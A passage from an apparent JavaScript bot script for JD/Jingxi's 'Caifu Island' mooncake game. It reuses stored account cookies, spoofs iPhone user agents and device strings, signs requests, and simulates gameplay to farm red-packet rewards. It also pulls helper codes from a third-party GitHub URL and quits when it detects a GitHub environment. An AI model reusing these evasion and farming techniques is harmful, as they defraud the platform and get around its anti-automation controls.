s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env("京喜财富岛合成月饼"); +const JD_API_HOST = "https://m.jingxi.com/"; +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +$.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; +$.notifyTime = $.getdata("cfd_notifyTime"); +$.result = []; +$.shareCodes = []; +let cookiesArr = [], cookie = '', token = ''; +let UA, UAInfo = {}, num +let nowTimes; +const randomCount = $.isNode() ? 20 : 3; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +$.appId = 10028; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + await $.wait(1000) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.nickName = ''; + $.isLogin = true; + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + UAInfo[$.UserName] = UA + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.allTask = [] + $.info = {} + token = await getJxToken() + await cfd(); + await $.wait(2000); + } + } + let res = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/cfd.json') + if (!res) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/cfd.json'}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); + await $.wait(1000) + res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/cfd.json') + } + $.strMyShareIds = [...(res && res.shareId || [])] + await shareCodesFormat() + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.canHelp = true + UA = UAInfo[$.UserName] + num = 0 + if ($.newShareCodes && $.newShareCodes.length) { + console.log(`\n开始互助\n`); + for (let j = 0; j < $.newShareCodes.length && $.canHelp; j++) { + console.log(`账号${$.UserName} 去助力 ${$.newShareCodes[j]}`) + $.delcode = false + await helpByStage($.newShareCodes[j]) + await $.wait(2000) + if ($.delcode) { + $.newShareCodes.splice(j, 1) + j-- + continue + } + } + } + } + await showMsg(); +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()); + +async function cfd() { + try { + nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000) + let beginInfo = await getUserInfo(); + if (beginInfo.LeadInfo.dwLeadType === 2) { + console.log(`还未开通活动,尝试初始化`) + await noviceTask() + await $.wait(2000) + beginInfo = await getUserInfo(false); + if (beginInfo.LeadInfo.dwLeadType !== 2) { + console.log(`初始化成功\n`) + } else { + console.log(`初始化失败\n`) + return + } + } + + //抽奖 + await $.wait(2000) + await composePearlState(4) + + //助力奖励 + await $.wait(2000) + await composePearlState(2) + + //合成月饼 + let count = $.isNode() ? (process.env.JD_CFD_RUNNUM ? process.env.JD_CFD_RUNNUM * 1 : Math.floor((Math.random() * 2)) + 3) : ($.getdata('JD_CFD_RUNNUM') ? $.getdata('JD_CFD_RUNNUM') * 1 : Math.floor((Math.random() * 2)) + 3); + console.log(`\n合成月饼`) + console.log(`合成月饼运行次数为:${count}\n`) + let num = 0 + do { + await $.wait(2000) + await composePearlState(3) + num++ + } while (!$.stop && num < count) + + } catch (e) { + $.logErr(e) + } +} + +// 合成月饼 +async function composePearlState(type) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/ComposePearlState`, `__t=${Date.now()}&dwGetType=0`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} ComposePearlState API请求失败,请检查网路重试`) + } else { + switch (type) { + case 1: + data = JSON.parse(data); + break + case 2: + data = JSON.parse(data); + console.log(`领助力奖励`) + if (data.iRet === 0) { + let helpNum = [] + for (let key of Object.keys(data.helpInfo.HelpList)) { + let vo = data.helpInfo.HelpList[key] + if (vo.dwStatus !== 1 && vo.dwIsHasAward === 1 && vo.dwIsHelp === 1) { + helpNum.push(vo.dwId) + } + } + if (helpNum.length !== 0) { + for (let j = 0; j < helpNum.length; j++) { + await pearlHelpDraw(data.ddwSeasonStartTm, helpNum[j]) + await $.wait(2000) + data = await composePearlState(1) + } + } else { + console.log(`暂无可领助力奖励`) + } + } + break + case 3: + data = JSON.parse(data); + if (data.iRet === 0) { + console.log(`当前已合成${data.dwCurProgress}颗月饼,总计获得${data.ddwVirHb / 100}元红包`) + if (data.strDT) { + let beacon = data.PearlList[0] + data.PearlList.shift() + let beaconType = beacon.type + let num = Math.ceil(Math.random() * 12 + 8) + console.log(`合成月饼:模拟操作${num}次`) + for (let v = 0; v < num; v++) { + console.log(`模拟操作进度:${v + 1}/${num}`) + await $.wait(2000) + await realTmReport(data.strMyShareId) + if (beacon.rbf) { + let size = 1 + for (let key of Object.keys(data.PearlList)) { + let vo = data.PearlList[key] + if (vo.rbf && vo.type === beaconType) { + size = 2 + vo.rbf = 0 + break + } + } + await composePearlAward(data.strDT, beaconType, size) + } + } + let strLT = data.oPT[data.ddwCurTime % data.oPT.length] + let res = await composePearlAddProcess(data.strDT, strLT) + if (res.iRet === 0) { + console.log(`\n合成月饼成功:获得${res.ddwAwardHb / 100}元红包\n`) + if (res.ddwAwardHb === 0) { + $.stop = true + console.log(`合成月饼没有奖励,停止运行\n`) + } + } else { + console.log(`\n合成月饼失败:${res.sErrMsg}\n`) + } + } else { + console.log(`今日已完成\n`) + } + } + break + case 4: + data = JSON.parse(data); + console.log(`每日抽奖`) + if (data.iRet === 0) { + if (data.dayDrawInfo.dwIsDraw === 0) { + let strToken = (await getPearlDailyReward()).strToken + await $.wait(2000) + await pearlDailyDraw(data.ddwSeasonStartTm, strToken) + } else { + console.log(`无抽奖次数\n`) + } + } + default: + break; + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function realTmReport(strMyShareId) { + return new Promise((resolve) => { + $.get(taskUrl(`user/RealTmReport`, `__t=${Date.now()}&dwIdentityType=0&strBussKey=composegame&strMyShareId=${strMyShareId}&ddwCount=10`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} RealTmReport API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function composePearlAddProcess(strDT, strLT) { + return new Promise((resolve) => { + $.get(taskUrl(`user/ComposePearlAddProcess`, `strBT=${strDT}&strLT=${strLT}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} ComposePearlAddProcess API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function getPearlDailyReward() { + return new Promise((resolve) => { + $.get(taskUrl(`user/GetPearlDailyReward`, `__t=${Date.now()}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetPearlDailyReward API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function pearlDailyDraw(ddwSeasonStartTm, strToken) { + return new Promise((resolve) => { + $.get(taskUrl(`user/PearlDailyDraw`, `__t=${Date.now()}&ddwSeaonStart=${ddwSeasonStartTm}&strToken=${strToken}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} PearlDailyDraw API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.iRet === 0) { + console.log(`抽奖成功:获得${data.strPrizeName || JSON.stringify(data)}\n`) + } else { + console.log(`抽奖失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function composePearlAward(strDT, type, size) { + return new Promise((resolve) => { + $.get(taskUrl(`user/ComposePearlAward`, `__t=${Date.now()}&type=${type}&size=${size}&strBT=${strDT}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} ComposePearlAward API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.iRet === 0) { + console.log(`模拟操作中奖:获得${data.ddwAwardHb / 100}元红包,总计获得${data.ddwVirHb / 100}元红包`) + } else { + console.log(`模拟操作未中奖:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 助力奖励 +function pearlHelpDraw(ddwSeasonStartTm, dwUserId) { + return new Promise((resolve) => { + $.get(taskUrl(`user/PearlHelpDraw`, `__t=${Date.now()}&ddwSeaonStart=${ddwSeasonStartTm}&dwUserId=${dwUserId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} PearlHelpDraw API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.iRet === 0) { + console.log(`领取助力奖励成功:获得${data.StagePrizeInfo.ddwAwardHb / 100}元红包,总计获得${data.StagePrizeInfo.ddwVirHb / 100}元红包`) + } else { + console.log(`领取助力奖励失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 助力 +function helpByStage(shareCodes) { + return new Promise((resolve) => { + $.get(taskUrl(`user/PearlHelpByStage`, `__t=${Date.now()}&strShareId=${shareCodes}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} helpbystage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`助力成功:获得${data.GuestPrizeInfo.strPrizeName}`) + } else if (data.iRet === 2232 || data.sErrMsg === '今日助力次数达到上限,明天再来帮忙吧~') { + console.log(`助力失败:${data.sErrMsg}`) + $.canHelp = false + } else if (data.iRet === 9999 || data.sErrMsg === '您还没有登录,请先登录哦~') { + console.log(`助力失败:${data.sErrMsg}`) + $.canHelp = false + } else if (data.iRet === 2229 || data.sErrMsg === '助力失败啦~') { + console.log(`助力失败:您的账号或被助力的账号可能已黑,请联系客服`) + num++ + if (num === 5) $.canHelp = false + } else if (data.iRet === 2190 || data.sErrMsg === '达到助力上限') { + console.log(`助力失败:${data.sErrMsg}`) + $.delcode = true + } else { + console.log(`助力失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +// 获取用户信息 +function getUserInfo(showInvite = true) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/QueryUserInfo`, `ddwTaskId=&strShareId=&strMarkList=${escape('guider_step,collect_coin_auth,guider_medal,guider_over_flag,build_food_full,build_sea_full,build_shop_full,build_fun_full,medal_guider_show,guide_guider_show,guide_receive_vistor,daily_task,guider_daily_task')}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} QueryUserInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + const { + ddwRichBalance, + ddwCoinBalance, + sErrMsg, + strMyShareId, + dwLandLvl, + LeadInfo = {}, + Business = {}, + } = data; + if (showInvite) { + console.log(`获取用户信息:${sErrMsg}\n${$.showLog ? data : ""}`); + console.log(`\n当前等级:${dwLandLvl},金币:${ddwCoinBalance},财富值:${ddwRichBalance},连续营业天数:${Business.dwBussDayNum},离线收益:${Business.ddwCoin}\n`) + } + if (showInvite && strMyShareId) { + console.log(`财富岛好友互助码每次运行都变化,旧的当天有效`); + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${strMyShareId}\n`); + $.shareCodes.push(strMyShareId) + } + $.info = { + ...$.info, + ddwRichBalance, + ddwCoinBalance, + strMyShareId, + dwLandLvl, + LeadInfo, + }; + resolve({ + ddwRichBalance, + ddwCoinBalance, + strMyShareId, + LeadInfo, + }); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 新手任务 +async function noviceTask(){ + let body = `` + await init(`user/guideuser`, body) + body = `strMark=guider_step&strValue=welcom&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_over_flag&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_over_flag&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=gift_redpack&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=none&dwType=2` + await init(`user/SetMark`, body) +} +async function init(function_path, body) { + return new Promise(async (resolve) => { + $.get(taskUrl(function_path, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} init API请求失败,请检查网路重试`) + } else { + if (function_path == "user/SetMark") opId = 23 + if (function_path == "user/guideuser") opId = 27 + data = JSON.parse(data); + contents = `1771|${opId}|${data.iRet}|0|${data.sErrMsg || 0}` + await biz(contents) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function biz(contents){ + return new Promise(async (resolve) => { + let option = { + url:`https://m.jingxi.com/webmonitor/collect/biz.json?contents=${contents}&t=${Math.random()}&sceneval=2`, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer: "https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Accept-Encoding": "gzip, deflate, br", + Host: 'm.jingxi.com', + "User-Agent": UA, + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + } + } + $.get(option, async (err, resp, _data) => { + try { + // console.log(_data) + } + catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_path, body = '', dwEnv = 7) { + let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=138631.26.55&${body}&_stk=_cfd_t%2CbizCode%2CddwTaskId%2CdwEnv%2Cptag%2Csource%2CstrShareId%2CstrZone&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&g_ty=ls`; + return { + url, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer:"https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Accept-Encoding": "gzip, deflate, br", + Host: "m.jingxi.com", + "User-Agent": UA, + "Accept-Language": "zh-cn", + }, + timeout: 10000 + }; +} + +function randomString(e) { + e = e || 32; + let t = "0123456789abcdef", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function showMsg() { + return new Promise(async (resolve) => { + if ($.result.length) { + if ($.notifyTime) { + const notifyTimes = $.notifyTime.split(",").map((x) => x.split(":")); + const now = $.time("HH:mm").split(":"); + console.log(`\n${JSON.stringify(notifyTimes)}`); + console.log(`\n${JSON.stringify(now)}`); + if ( notifyTimes.some((x) => x[0] === now[0] && (!x[1] || x[1] === now[1])) ) { + $.msg($.name, "", `${$.result.join("\n")}`); + } + } else { + $.msg($.name, "", `${$.result.join("\n")}`); + } + + if ($.isNode() && process.env.CFD_NOTIFY_CONTROL) + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${$.result.join("\n")}`); + } + resolve(); + }); +} + +function readShareCode() { + return new Promise(async resolve => { + $.get({url: ``, timeout: 10000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} readShareCode API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`\n随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + $.newShareCodes = [] + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.shareCodes, ...$.strMyShareIds, ...(readShareCodeRes.data || [])])]; + } else { + $.newShareCodes = [...new Set([...$.shareCodes, ...$.strMyShareIds])]; + } + console.log(`您将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function TotalBean() { + return new Promise(resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 